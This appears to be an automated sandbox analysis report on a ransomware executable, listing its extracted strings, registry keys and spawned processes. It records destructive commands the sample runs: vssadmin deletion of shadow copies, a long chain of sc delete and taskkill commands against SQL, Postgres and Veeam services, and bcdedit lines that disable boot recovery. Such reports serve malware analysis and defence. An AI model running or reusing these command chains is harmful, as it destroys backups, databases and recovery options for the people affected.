Source: _145.exe	Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s\|%s\|%s\|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM-NO-TAGAES-192-CCM-NO-TAGAES-256-CCM-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM-NO-TAGCAMELLIA-192-CCM-NO-TAGCAMELLIA-256-CCM-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM-NO-TAGARIA-192-CCM-NO-TAGARIA-256-CCM-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512

Source: _145.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\_145.exe

Process Stats: CPU usage > 49%

Source: _145.exe, 00000000.00000003.2245387731.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2113220234.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.3041013104.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2234137390.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2253989150.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2276294552.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2267795653.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2164252436.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2865208023.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2222401734.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2955369843.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2212727565.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3002731819.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2177284410.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2176223936.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2279016236.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2211493941.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2624112600.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2244095869.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3022746641.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2138463076.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3030658115.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2994950360.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2167340878.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2960843087.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2169852528.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2170770842.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3026631650.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2239223907.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2215793298.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2241036278.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2132421144.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3036188875.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064211551.00000000046E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.3024553021.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2135798477.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2242459092.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2168413825.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2259876479.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2142199872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2232783209.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2218505422.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2256838406.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2271372526.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2281686127.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2269948023.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2842090850.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2274365972.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2229599387.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2248365883.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2251301766.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2162580458.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVSSADMIN.EXE.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVSSADMIN.EXEj% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.2964374833.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2264482854.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064634029.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2279852201.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2957644083.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2282905702.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3028086799.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe

Source: _145.exe

ReversingLabs: Detection: 76%

Source: _145.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\_145.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\_145.exe C:\Users\user\Desktop\_145.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\vssadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"

Source: C:\Users\user\Desktop\_145.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Users\user\Desktop\_145.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Jump to behavior

Source: classification engine

Classification label: mal100.rans.spyw.evad.winEXE@16/1026@1/5

Source: C:\Users\user\Desktop\_145.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: _145.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: _145.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtt source: _145.exe, 00000000.00000003.2463883716.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2448155795.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2474161549.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2468665310.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2446209908.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2421851748.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2470248366.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2424145871.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2444794305.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2458250816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2768594020.00000000046B9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.\u source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.erroro source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*y\n source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbansferApiGroup003495205506.txtf-4 source: _145.exe, 00000000.00000003.2419605565.0000000004710000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtxtxC;Gl source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\* source: _145.exe, 00000000.00000003.3033904369.0000000000C42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *ntkrnlmp.pdb.x source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp

Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

